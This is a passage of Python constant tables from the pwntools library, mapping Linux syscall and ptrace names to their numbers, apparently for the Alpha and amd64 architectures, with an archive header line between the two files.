Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) SYS_accept = Constant('SYS_accept',99) SYS_accept4 = Constant('SYS_accept4',502) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',439) SYS_adjtimex = Constant('SYS_adjtimex',366) SYS_afs_syscall = Constant('SYS_afs_syscall',338) SYS_bdflush = Constant('SYS_bdflush',300) SYS_bind = Constant('SYS_bind',104) SYS_bpf = Constant('SYS_bpf',515) SYS_brk = Constant('SYS_brk',17) SYS_capget = Constant('SYS_capget',368) SYS_capset = Constant('SYS_capset',369) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',16) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',499) SYS_clock_getres = Constant('SYS_clock_getres',421) SYS_clock_gettime = Constant('SYS_clock_gettime',420) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',422) SYS_clock_settime = Constant('SYS_clock_settime',419) SYS_clone = Constant('SYS_clone',312) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',98) SYS_copy_file_range = Constant('SYS_copy_file_range',519) SYS_create_module = Constant('SYS_create_module',306) SYS_delete_module = Constant('SYS_delete_module',308) SYS_dipc = Constant('SYS_dipc',373) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',90) SYS_dup3 = Constant('SYS_dup3',487) SYS_epoll_create1 = Constant('SYS_epoll_create1',486) SYS_epoll_pwait = Constant('SYS_epoll_pwait',474) SYS_eventfd = Constant('SYS_eventfd',478) SYS_eventfd2 = Constant('SYS_eventfd2',485) SYS_execve = Constant('SYS_execve',59) SYS_execveat = Constant('SYS_execveat',513) SYS_exec_with_loader = Constant('SYS_exec_with_loader',25) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',405) SYS_faccessat = Constant('SYS_faccessat',462) SYS_fadvise64 = Constant('SYS_fadvise64',413) SYS_fallocate = Constant('SYS_fallocate',480) SYS_fanotify_init = Constant('SYS_fanotify_init',494) SYS_fanotify_mark = Constant('SYS_fanotify_mark',495) SYS_fchdir = Constant('SYS_fchdir',13) SYS_fchmod = Constant('SYS_fchmod',124) SYS_fchmodat = Constant('SYS_fchmodat',461) SYS_fchown = Constant('SYS_fchown',123) SYS_fchownat = Constant('SYS_fchownat',453) SYS_fcntl = Constant('SYS_fcntl',92) SYS_fdatasync = Constant('SYS_fdatasync',447) SYS_fgetxattr = Constant('SYS_fgetxattr',387) SYS_finit_module = Constant('SYS_finit_module',507) SYS_flistxattr = Constant('SYS_flistxattr',390) SYS_flock = Constant('SYS_flock',131) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',393) SYS_fsconfig = Constant('SYS_fsconfig',541) SYS_fsetxattr = Constant('SYS_fsetxattr',384) SYS_fsmount = Constant('SYS_fsmount',542) SYS_fsopen = Constant('SYS_fsopen',540) SYS_fspick = Constant('SYS_fspick',543) SYS_fstat = Constant('SYS_fstat',91) SYS_fstat64 = Constant('SYS_fstat64',427) SYS_fstatat64 = Constant('SYS_fstatat64',455) SYS_fstatfs = Constant('SYS_fstatfs',329) SYS_fstatfs64 = Constant('SYS_fstatfs64',529) SYS_fsync = Constant('SYS_fsync',95) SYS_ftruncate = Constant('SYS_ftruncate',130) SYS_futex = Constant('SYS_futex',394) SYS_futimesat = Constant('SYS_futimesat',454) SYS_getcpu = Constant('SYS_getcpu',473) SYS_getcwd = Constant('SYS_getcwd',367) SYS_getdents = Constant('SYS_getdents',305) SYS_getdents64 = Constant('SYS_getdents64',377) SYS_getdtablesize = Constant('SYS_getdtablesize',89) SYS_getegid = Constant('SYS_getegid',530) SYS_geteuid = Constant('SYS_geteuid',531) SYS_getgroups = Constant('SYS_getgroups',79) SYS_gethostname = Constant('SYS_gethostname',87) SYS_getitimer = Constant('SYS_getitimer',361) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',309) SYS_get_mempolicy = Constant('SYS_get_mempolicy',430) SYS_getpagesize = Constant('SYS_getpagesize',64) SYS_getpeername = Constant('SYS_getpeername',141) SYS_getpgid = Constant('SYS_getpgid',233) SYS_getpgrp = Constant('SYS_getpgrp',63) SYS_getppid = Constant('SYS_getppid',532) SYS_getpriority = Constant('SYS_getpriority',100) SYS_getrandom = Constant('SYS_getrandom',511) SYS_getresgid = Constant('SYS_getresgid',372) SYS_getresuid = Constant('SYS_getresuid',344) SYS_getrlimit = Constant('SYS_getrlimit',144) SYS_get_robust_list = Constant('SYS_get_robust_list',467) SYS_getrusage = Constant('SYS_getrusage',364) SYS_getsid = Constant('SYS_getsid',234) SYS_getsockname = Constant('SYS_getsockname',150) SYS_getsockopt = Constant('SYS_getsockopt',118) SYS_gettid = Constant('SYS_gettid',378) SYS_gettimeofday = Constant('SYS_gettimeofday',359) SYS_getxattr = Constant('SYS_getxattr',385) SYS_getxgid = Constant('SYS_getxgid',47) SYS_getxpid = Constant('SYS_getxpid',20) SYS_getxuid = Constant('SYS_getxuid',24) SYS_init_module = Constant('SYS_init_module',307) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',445) SYS_inotify_init = Constant('SYS_inotify_init',444) SYS_inotify_init1 = Constant('SYS_inotify_init1',489) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',446) SYS_io_cancel = Constant('SYS_io_cancel',402) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',399) SYS_io_getevents = Constant('SYS_io_getevents',400) SYS_io_pgetevents = Constant('SYS_io_pgetevents',523) SYS_ioprio_get = Constant('SYS_ioprio_get',443) SYS_ioprio_set = Constant('SYS_ioprio_set',442) SYS_io_setup = Constant('SYS_io_setup',398) SYS_io_submit = Constant('SYS_io_submit',401) SYS_io_uring_enter = Constant('SYS_io_uring_enter',536) SYS_io_uring_register = Constant('SYS_io_uring_register',537) SYS_io_uring_setup = Constant('SYS_io_uring_setup',535) SYS_kcmp = Constant('SYS_kcmp',506) SYS_kexec_load = Constant('SYS_kexec_load',448) SYS_keyctl = Constant('SYS_keyctl',441) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',208) SYS_lgetxattr = Constant('SYS_lgetxattr',386) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',458) SYS_listen = Constant('SYS_listen',106) SYS_listxattr = Constant('SYS_listxattr',388) SYS_llistxattr = Constant('SYS_llistxattr',389) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',406) SYS_lremovexattr = Constant('SYS_lremovexattr',392) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',383) SYS_lstat = Constant('SYS_lstat',68) SYS_lstat64 = Constant('SYS_lstat64',426) SYS_madvise = Constant('SYS_madvise',75) SYS_mbind = Constant('SYS_mbind',429) SYS_membarrier = Constant('SYS_membarrier',517) SYS_memfd_create = Constant('SYS_memfd_create',512) SYS_migrate_pages = Constant('SYS_migrate_pages',449) SYS_mincore = Constant('SYS_mincore',375) SYS_mkdir = Constant('SYS_mkdir',136) SYS_mkdirat = Constant('SYS_mkdirat',451) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',452) SYS_mlock = Constant('SYS_mlock',314) SYS_mlock2 = Constant('SYS_mlock2',518) SYS_mlockall = Constant('SYS_mlockall',316) SYS_mmap = Constant('SYS_mmap',71) SYS_mount = Constant('SYS_mount',302) SYS_move_mount = Constant('SYS_move_mount',539) SYS_move_pages = Constant('SYS_move_pages',472) SYS_mprotect = Constant('SYS_mprotect',74) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',437) SYS_mq_notify = Constant('SYS_mq_notify',436) SYS_mq_open = Constant('SYS_mq_open',432) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',435) SYS_mq_timedsend = Constant('SYS_mq_timedsend',434) SYS_mq_unlink = Constant('SYS_mq_unlink',433) SYS_mremap = Constant('SYS_mremap',341) SYS_msgctl = Constant('SYS_msgctl',200) SYS_msgget = Constant('SYS_msgget',201) SYS_msgrcv = Constant('SYS_msgrcv',202) SYS_msgsnd = Constant('SYS_msgsnd',203) SYS_msync = Constant('SYS_msync',217) SYS_munlock = Constant('SYS_munlock',315) SYS_munlockall = Constant('SYS_munlockall',317) SYS_munmap = Constant('SYS_munmap',73) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',497) SYS_nanosleep = Constant('SYS_nanosleep',340) SYS_nfsservctl = Constant('SYS_nfsservctl',342) SYS_old_adjtimex = Constant('SYS_old_adjtimex',303) SYS_oldumount = Constant('SYS_oldumount',321) SYS_open = Constant('SYS_open',45) SYS_openat = Constant('SYS_openat',450) SYS_openat2 = Constant('SYS_openat2',547) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',498) SYS_open_tree = Constant('SYS_open_tree',538) SYS_osf_adjtime = Constant('SYS_osf_adjtime',140) SYS_osf_afs_syscall = Constant('SYS_osf_afs_syscall',258) SYS_osf_alt_plock = Constant('SYS_osf_alt_plock',181) SYS_osf_alt_setsid = Constant('SYS_osf_alt_setsid',188) SYS_osf_alt_sigpending = Constant('SYS_osf_alt_sigpending',187) SYS_osf_asynch_daemon = Constant('SYS_osf_asynch_daemon',163) SYS_osf_audcntl = Constant('SYS_osf_audcntl',252) SYS_osf_audgen = Constant('SYS_osf_audgen',253) SYS_osf_chflags = Constant('SYS_osf_chflags',34) SYS_osf_execve = Constant('SYS_osf_execve',11) SYS_osf_exportfs = Constant('SYS_osf_exportfs',169) SYS_osf_fchflags = Constant('SYS_osf_fchflags',35) SYS_osf_fdatasync = Constant('SYS_osf_fdatasync',261) SYS_osf_fpathconf = Constant('SYS_osf_fpathconf',248) SYS_osf_fstatfs = Constant('SYS_osf_fstatfs',161) SYS_osf_fuser = Constant('SYS_osf_fuser',243) SYS_osf_getaddressconf = Constant('SYS_osf_getaddressconf',214) SYS_osf_getdirentries = Constant('SYS_osf_getdirentries',159) SYS_osf_getdomainname = Constant('SYS_osf_getdomainname',165) SYS_osf_getfh = Constant('SYS_osf_getfh',164) SYS_osf_getfsstat = Constant('SYS_osf_getfsstat',18) SYS_osf_gethostid = Constant('SYS_osf_gethostid',142) SYS_osf_getitimer = Constant('SYS_osf_getitimer',86) SYS_osf_getlogin = Constant('SYS_osf_getlogin',49) SYS_osf_getmnt = Constant('SYS_osf_getmnt',184) SYS_osf_getrusage = Constant('SYS_osf_getrusage',117) SYS_osf_getsysinfo = Constant('SYS_osf_getsysinfo',256) SYS_osf_gettimeofday = Constant('SYS_osf_gettimeofday',116) SYS_osf_kloadcall = Constant('SYS_osf_kloadcall',223) SYS_osf_kmodcall = Constant('SYS_osf_kmodcall',77) SYS_osf_memcntl = Constant('SYS_osf_memcntl',260) SYS_osf_mincore = Constant('SYS_osf_mincore',78) SYS_osf_mount = Constant('SYS_osf_mount',21) SYS_osf_mremap = Constant('SYS_osf_mremap',65) SYS_osf_msfs_syscall = Constant('SYS_osf_msfs_syscall',240) SYS_osf_msleep = Constant('SYS_osf_msleep',215) SYS_osf_mvalid = Constant('SYS_osf_mvalid',213) SYS_osf_mwakeup = Constant('SYS_osf_mwakeup',216) SYS_osf_naccept = Constant('SYS_osf_naccept',30) SYS_osf_nfssvc = Constant('SYS_osf_nfssvc',158) SYS_osf_ngetpeername = Constant('SYS_osf_ngetpeername',31) SYS_osf_ngetsockname = Constant('SYS_osf_ngetsockname',32) SYS_osf_nrecvfrom = Constant('SYS_osf_nrecvfrom',29) SYS_osf_nrecvmsg = Constant('SYS_osf_nrecvmsg',27) SYS_osf_nsendmsg = Constant('SYS_osf_nsendmsg',28) SYS_osf_ntp_adjtime = Constant('SYS_osf_ntp_adjtime',245) SYS_osf_ntp_gettime = Constant('SYS_osf_ntp_gettime',246) SYS_osf_old_creat = Constant('SYS_osf_old_creat',8) SYS_osf_old_fstat = Constant('SYS_osf_old_fstat',62) SYS_osf_old_getpgrp = Constant('SYS_osf_old_getpgrp',81) SYS_osf_old_killpg = Constant('SYS_osf_old_killpg',146) SYS_osf_old_lstat = Constant('SYS_osf_old_lstat',40) SYS_osf_old_open = Constant('SYS_osf_old_open',5) SYS_osf_oldquota = Constant('SYS_osf_oldquota',149) SYS_osf_old_sigaction = Constant('SYS_osf_old_sigaction',46) SYS_osf_old_sigblock = Constant('SYS_osf_old_sigblock',109) SYS_osf_old_sigreturn = Constant('SYS_osf_old_sigreturn',139) SYS_osf_old_sigsetmask = Constant('SYS_osf_old_sigsetmask',110) SYS_osf_old_sigvec = Constant('SYS_osf_old_sigvec',108) SYS_osf_old_stat = Constant('SYS_osf_old_stat',38) SYS_osf_old_vadvise = Constant('SYS_osf_old_vadvise',72) SYS_osf_old_vtrace = Constant('SYS_osf_old_vtrace',115) SYS_osf_old_wait = Constant('SYS_osf_old_wait',84) SYS_osf_pathconf = Constant('SYS_osf_pathconf',247) SYS_osf_pid_block = Constant('SYS_osf_pid_block',153) SYS_osf_pid_unblock = Constant('SYS_osf_pid_unblock',154) SYS_osf_plock = Constant('SYS_osf_plock',107) SYS_osf_priocntlset = Constant('SYS_osf_priocntlset',237) SYS_osf_profil = Constant('SYS_osf_profil',44) SYS_osf_proplist_syscall = Constant('SYS_osf_proplist_syscall',244) SYS_osf_reboot = Constant('SYS_osf_reboot',55) SYS_osf_revoke = Constant('SYS_osf_revoke',56) SYS_osf_sbrk = Constant('SYS_osf_sbrk',69) SYS_osf_security = Constant('SYS_osf_security',222) SYS_osf_select = Constant('SYS_osf_select',93) SYS_osf_sethostid = Constant('SYS_osf_sethostid',143) SYS_osf_setitimer = Constant('SYS_osf_setitimer',83) SYS_osf_setlogin = Constant('SYS_osf_setlogin',50) SYS_osf_set_program_attributes = Constant('SYS_osf_set_program_attributes',43) SYS_osf_set_speculative = Constant('SYS_osf_set_speculative',239) SYS_osf_setsysinfo = Constant('SYS_osf_setsysinfo',257) SYS_osf_settimeofday = Constant('SYS_osf_settimeofday',122) SYS_osf_shmat = Constant('SYS_osf_shmat',209) SYS_osf_signal = Constant('SYS_osf_signal',218) SYS_osf_sigprocmask = Constant('SYS_osf_sigprocmask',48) SYS_osf_sigsendset = Constant('SYS_osf_sigsendset',238) SYS_osf_sigstack = Constant('SYS_osf_sigstack',112) SYS_osf_sigwaitprim = Constant('SYS_osf_sigwaitprim',157) SYS_osf_sstk = Constant('SYS_osf_sstk',70) SYS_osf_statfs = Constant('SYS_osf_statfs',160) SYS_osf_subsys_info = Constant('SYS_osf_subsys_info',255) SYS_osf_swapctl = Constant('SYS_osf_swapctl',259) SYS_osf_swapon = Constant('SYS_osf_swapon',199) SYS_osf_syscall = Constant('SYS_osf_syscall',0) SYS_osf_sysinfo = Constant('SYS_osf_sysinfo',241) SYS_osf_table = Constant('SYS_osf_table',85) SYS_osf_uadmin = Constant('SYS_osf_uadmin',242) SYS_osf_usleep_thread = Constant('SYS_osf_usleep_thread',251) SYS_osf_uswitch = Constant('SYS_osf_uswitch',250) SYS_osf_utc_adjtime = Constant('SYS_osf_utc_adjtime',220) SYS_osf_utc_gettime = Constant('SYS_osf_utc_gettime',219) SYS_osf_utimes = Constant('SYS_osf_utimes',138) SYS_osf_utsname = Constant('SYS_osf_utsname',207) SYS_osf_wait4 = Constant('SYS_osf_wait4',7) SYS_osf_waitid = Constant('SYS_osf_waitid',236) SYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',376) SYS_pciconfig_read = Constant('SYS_pciconfig_read',345) SYS_pciconfig_write = Constant('SYS_pciconfig_write',346) SYS_perf_event_open = Constant('SYS_perf_event_open',493) SYS_personality = Constant('SYS_personality',324) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',548) SYS_pidfd_open = Constant('SYS_pidfd_open',544) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',534) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',488) SYS_pivot_root = Constant('SYS_pivot_root',374) SYS_pkey_alloc = Constant('SYS_pkey_alloc',525) SYS_pkey_free = Constant('SYS_pkey_free',526) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',524) SYS_poll = Constant('SYS_poll',94) SYS_ppoll = Constant('SYS_ppoll',464) SYS_prctl = Constant('SYS_prctl',348) SYS_pread = Constant('SYS_pread',349) SYS_preadv = Constant('SYS_preadv',490) SYS_preadv2 = Constant('SYS_preadv2',520) SYS_prlimit64 = Constant('SYS_prlimit64',496) SYS_process_vm_readv = Constant('SYS_process_vm_readv',504) SYS_process_vm_writev = Constant('SYS_process_vm_writev',505) SYS_pselect6 = Constant('SYS_pselect6',463) SYS_ptrace = Constant('SYS_ptrace',26) SYS_pwrite = Constant('SYS_pwrite',350) SYS_pwritev = Constant('SYS_pwritev',491) SYS_pwritev2 = Constant('SYS_pwritev2',521) SYS_query_module = Constant('SYS_query_module',347) SYS_quotactl = Constant('SYS_quotactl',148) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',379) SYS_readlink = Constant('SYS_readlink',58) SYS_readlinkat = Constant('SYS_readlinkat',460) SYS_readv = Constant('SYS_readv',120) SYS_reboot = Constant('SYS_reboot',311) SYS_recv = Constant('SYS_recv',102) SYS_recvfrom = Constant('SYS_recvfrom',125) SYS_recvmmsg = Constant('SYS_recvmmsg',479) SYS_recvmsg = Constant('SYS_recvmsg',113) SYS_remap_file_pages = Constant('SYS_remap_file_pages',410) SYS_removexattr = Constant('SYS_removexattr',391) SYS_rename = Constant('SYS_rename',128) SYS_renameat = Constant('SYS_renameat',457) SYS_renameat2 = Constant('SYS_renameat2',510) SYS_request_key = Constant('SYS_request_key',440) SYS_restart_syscall = Constant('SYS_restart_syscall',412) SYS_rmdir = Constant('SYS_rmdir',137) SYS_rseq = Constant('SYS_rseq',527) SYS_rt_sigaction = Constant('SYS_rt_sigaction',352) SYS_rt_sigpending = Constant('SYS_rt_sigpending',354) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',353) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',356) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',351) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',357) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',355) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',492) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',396) SYS_sched_getattr = Constant('SYS_sched_getattr',509) SYS_sched_getparam = Constant('SYS_sched_getparam',331) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',335) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',336) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',333) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',337) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',395) SYS_sched_setattr = Constant('SYS_sched_setattr',508) SYS_sched_setparam = Constant('SYS_sched_setparam',330) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',332) SYS_sched_yield = Constant('SYS_sched_yield',334) SYS_seccomp = Constant('SYS_seccomp',514) SYS_select = Constant('SYS_select',358) SYS_semctl = Constant('SYS_semctl',204) SYS_semget = Constant('SYS_semget',205) SYS_semop = Constant('SYS_semop',206) SYS_semtimedop = Constant('SYS_semtimedop',423) SYS_send = Constant('SYS_send',101) SYS_sendfile = Constant('SYS_sendfile',370) SYS_sendmmsg = Constant('SYS_sendmmsg',503) SYS_sendmsg = Constant('SYS_sendmsg',114) SYS_sendto = Constant('SYS_sendto',133) SYS_setdomainname = Constant('SYS_setdomainname',166) SYS_setfsgid = Constant('SYS_setfsgid',326) SYS_setfsuid = Constant('SYS_setfsuid',325) SYS_setgid = Constant('SYS_setgid',132) SYS_setgroups = Constant('SYS_setgroups',80) SYS_sethae = Constant('SYS_sethae',301) SYS_sethostname = Constant('SYS_sethostname',88) SYS_setitimer = Constant('SYS_setitimer',362) SYS_set_mempolicy = Constant('SYS_set_mempolicy',431) SYS_setns = Constant('SYS_setns',501) SYS_setpgid = Constant('SYS_setpgid',39) SYS_setpgrp = Constant('SYS_setpgrp',82) SYS_setpriority = Constant('SYS_setpriority',96) SYS_setregid = Constant('SYS_setregid',127) SYS_setresgid = Constant('SYS_setresgid',371) SYS_setresuid = Constant('SYS_setresuid',343) SYS_setreuid = Constant('SYS_setreuid',126) SYS_setrlimit = Constant('SYS_setrlimit',145) SYS_set_robust_list = Constant('SYS_set_robust_list',466) SYS_setsid = Constant('SYS_setsid',147) SYS_setsockopt = Constant('SYS_setsockopt',105) SYS_set_tid_address = Constant('SYS_set_tid_address',411) SYS_settimeofday = Constant('SYS_settimeofday',360) SYS_setuid = Constant('SYS_setuid',23) SYS_setxattr = Constant('SYS_setxattr',382) SYS_shmctl = Constant('SYS_shmctl',210) SYS_shmdt = Constant('SYS_shmdt',211) SYS_shmget = Constant('SYS_shmget',212) SYS_shutdown = Constant('SYS_shutdown',134) SYS_sigaction = Constant('SYS_sigaction',156) SYS_sigaltstack = Constant('SYS_sigaltstack',235) SYS_signalfd = Constant('SYS_signalfd',476) SYS_signalfd4 = Constant('SYS_signalfd4',484) SYS_sigpending = Constant('SYS_sigpending',52) SYS_sigreturn = Constant('SYS_sigreturn',103) SYS_sigsuspend = Constant('SYS_sigsuspend',111) SYS_socket = Constant('SYS_socket',97) SYS_socketpair = Constant('SYS_socketpair',135) SYS_splice = Constant('SYS_splice',468) SYS_stat = Constant('SYS_stat',67) SYS_stat64 = Constant('SYS_stat64',425) SYS_statfs = Constant('SYS_statfs',328) SYS_statfs64 = Constant('SYS_statfs64',528) SYS_statx = Constant('SYS_statx',522) SYS_swapoff = Constant('SYS_swapoff',304) SYS_swapon = Constant('SYS_swapon',322) SYS_symlink = Constant('SYS_symlink',57) SYS_symlinkat = Constant('SYS_symlinkat',459) SYS_sync = Constant('SYS_sync',36) SYS_sync_file_range = Constant('SYS_sync_file_range',469) SYS_syncfs = Constant('SYS_syncfs',500) SYS__sysctl = Constant('SYS__sysctl',319) SYS_sys_epoll_create = Constant('SYS_sys_epoll_create',407) SYS_sys_epoll_ctl = Constant('SYS_sys_epoll_ctl',408) SYS_sys_epoll_wait = Constant('SYS_sys_epoll_wait',409) SYS_sysfs = Constant('SYS_sysfs',254) SYS_sysinfo = Constant('SYS_sysinfo',318) SYS_syslog = Constant('SYS_syslog',310) SYS_tee = Constant('SYS_tee',470) SYS_tgkill = Constant('SYS_tgkill',424) SYS_timer_create = Constant('SYS_timer_create',414) SYS_timer_delete = Constant('SYS_timer_delete',418) SYS_timerfd = Constant('SYS_timerfd',477) SYS_timerfd_create = Constant('SYS_timerfd_create',481) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',483) SYS_timerfd_settime = Constant('SYS_timerfd_settime',482) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',417) SYS_timer_gettime = Constant('SYS_timer_gettime',416) SYS_timer_settime = Constant('SYS_timer_settime',415) SYS_times = Constant('SYS_times',323) SYS_tkill = Constant('SYS_tkill',381) SYS_truncate = Constant('SYS_truncate',129) SYS_tuxcall = Constant('SYS_tuxcall',397) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',22) SYS_umount_with_flags = Constant('SYS_umount_with_flags',22) SYS_umount_without_flags = Constant('SYS_umount_without_flags',321) SYS_uname = Constant('SYS_uname',339) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',456) SYS_unshare = Constant('SYS_unshare',465) SYS_uselib = Constant('SYS_uselib',313) SYS_userfaultfd = Constant('SYS_userfaultfd',516) SYS_ustat = Constant('SYS_ustat',327) SYS_utimensat = Constant('SYS_utimensat',475) SYS_utimes = Constant('SYS_utimes',363) SYS_vfork = Constant('SYS_vfork',66) SYS_vhangup = Constant('SYS_vhangup',76) SYS_vmsplice = Constant('SYS_vmsplice',471) SYS_vserver = Constant('SYS_vserver',428) SYS_wait4 = Constant('SYS_wait4',365) SYS_waitid = Constant('SYS_waitid',438) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',121) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/amd64.py000066400000000000000000002405361507273764500241470ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_read = Constant('__NR_read',0) __NR_write = Constant('__NR_write',1) __NR_open = Constant('__NR_open',2) __NR_close = Constant('__NR_close',3) __NR_stat = Constant('__NR_stat',4) __NR_fstat = Constant('__NR_fstat',5) __NR_lstat = Constant('__NR_lstat',6) __NR_poll = Constant('__NR_poll',7) __NR_lseek = Constant('__NR_lseek',8) __NR_mmap = Constant('__NR_mmap',9) __NR_mprotect = Constant('__NR_mprotect',10) __NR_munmap = Constant('__NR_munmap',11) __NR_brk = Constant('__NR_brk',12) __NR_rt_sigaction = Constant('__NR_rt_sigaction',13) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',14) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',15) __NR_ioctl = Constant('__NR_ioctl',16) __NR_pread = Constant('__NR_pread',17) __NR_pwrite = Constant('__NR_pwrite',18) __NR_readv = Constant('__NR_readv',19) __NR_writev = Constant('__NR_writev',20) __NR_access = Constant('__NR_access',21) __NR_pipe = Constant('__NR_pipe',22) __NR_select = Constant('__NR_select',23) __NR_sched_yield = Constant('__NR_sched_yield',24) __NR_mremap = Constant('__NR_mremap',25) __NR_msync = Constant('__NR_msync',26) __NR_mincore = Constant('__NR_mincore',27) __NR_madvise = Constant('__NR_madvise',28) __NR_shmget = Constant('__NR_shmget',29) __NR_shmat = Constant('__NR_shmat',30) __NR_shmctl = Constant('__NR_shmctl',31) __NR_dup = Constant('__NR_dup',32) __NR_dup2 = Constant('__NR_dup2',33) __NR_pause = Constant('__NR_pause',34) __NR_nanosleep = Constant('__NR_nanosleep',35) __NR_getitimer = Constant('__NR_getitimer',36) __NR_alarm = Constant('__NR_alarm',37) __NR_setitimer = Constant('__NR_setitimer',38) __NR_getpid = Constant('__NR_getpid',39) __NR_sendfile = Constant('__NR_sendfile',40) __NR_socket = Constant('__NR_socket',41) __NR_connect = Constant('__NR_connect',42) __NR_accept = Constant('__NR_accept',43) __NR_sendto = Constant('__NR_sendto',44) __NR_recvfrom = Constant('__NR_recvfrom',45) __NR_sendmsg = Constant('__NR_sendmsg',46) __NR_recvmsg = Constant('__NR_recvmsg',47) __NR_shutdown = Constant('__NR_shutdown',48) __NR_bind = Constant('__NR_bind',49) __NR_listen = Constant('__NR_listen',50) __NR_getsockname = Constant('__NR_getsockname',51) __NR_getpeername = Constant('__NR_getpeername',52) __NR_socketpair = Constant('__NR_socketpair',53) __NR_setsockopt = Constant('__NR_setsockopt',54) __NR_getsockopt = Constant('__NR_getsockopt',55) __NR_clone = Constant('__NR_clone',56) __NR_fork = Constant('__NR_fork',57) __NR_vfork = Constant('__NR_vfork',58) __NR_execve = Constant('__NR_execve',59) __NR_exit = Constant('__NR_exit',60) __NR_wait4 = Constant('__NR_wait4',61) __NR_kill = Constant('__NR_kill',62) __NR_uname = Constant('__NR_uname',63) __NR_semget = Constant('__NR_semget',64) __NR_semop = Constant('__NR_semop',65) __NR_semctl = Constant('__NR_semctl',66) __NR_shmdt = Constant('__NR_shmdt',67) __NR_msgget = Constant('__NR_msgget',68) __NR_msgsnd = Constant('__NR_msgsnd',69) __NR_msgrcv = Constant('__NR_msgrcv',70) __NR_msgctl = Constant('__NR_msgctl',71) __NR_fcntl = Constant('__NR_fcntl',72) __NR_flock = Constant('__NR_flock',73) __NR_fsync = Constant('__NR_fsync',74) __NR_fdatasync = Constant('__NR_fdatasync',75) __NR_truncate = Constant('__NR_truncate',76) __NR_ftruncate = Constant('__NR_ftruncate',77) __NR_getdents = Constant('__NR_getdents',78) __NR_getcwd = Constant('__NR_getcwd',79) __NR_chdir = Constant('__NR_chdir',80) __NR_fchdir = Constant('__NR_fchdir',81) __NR_rename = Constant('__NR_rename',82) __NR_mkdir = Constant('__NR_mkdir',83) __NR_rmdir = Constant('__NR_rmdir',84) __NR_creat = Constant('__NR_creat',85) __NR_link = Constant('__NR_link',86) __NR_unlink = Constant('__NR_unlink',87) __NR_symlink = Constant('__NR_symlink',88) __NR_readlink = Constant('__NR_readlink',89) __NR_chmod = Constant('__NR_chmod',90) __NR_fchmod = Constant('__NR_fchmod',91) __NR_chown = Constant('__NR_chown',92) __NR_fchown = Constant('__NR_fchown',93) __NR_lchown = Constant('__NR_lchown',94) __NR_umask = Constant('__NR_umask',95) __NR_gettimeofday = Constant('__NR_gettimeofday',96) __NR_getrlimit = Constant('__NR_getrlimit',97) __NR_getrusage = Constant('__NR_getrusage',98) __NR_sysinfo = Constant('__NR_sysinfo',99) __NR_times = Constant('__NR_times',100) __NR_ptrace = Constant('__NR_ptrace',101) __NR_getuid = Constant('__NR_getuid',102) __NR_syslog = Constant('__NR_syslog',103) __NR_getgid = Constant('__NR_getgid',104) __NR_setuid = Constant('__NR_setuid',105) __NR_setgid = Constant('__NR_setgid',106) __NR_geteuid = Constant('__NR_geteuid',107) __NR_getegid = Constant('__NR_getegid',108) __NR_setpgid = Constant('__NR_setpgid',109) __NR_getppid = Constant('__NR_getppid',110) __NR_getpgrp = Constant('__NR_getpgrp',111) __NR_setsid = Constant('__NR_setsid',112) __NR_setreuid = Constant('__NR_setreuid',113) __NR_setregid = Constant('__NR_setregid',114) __NR_getgroups = 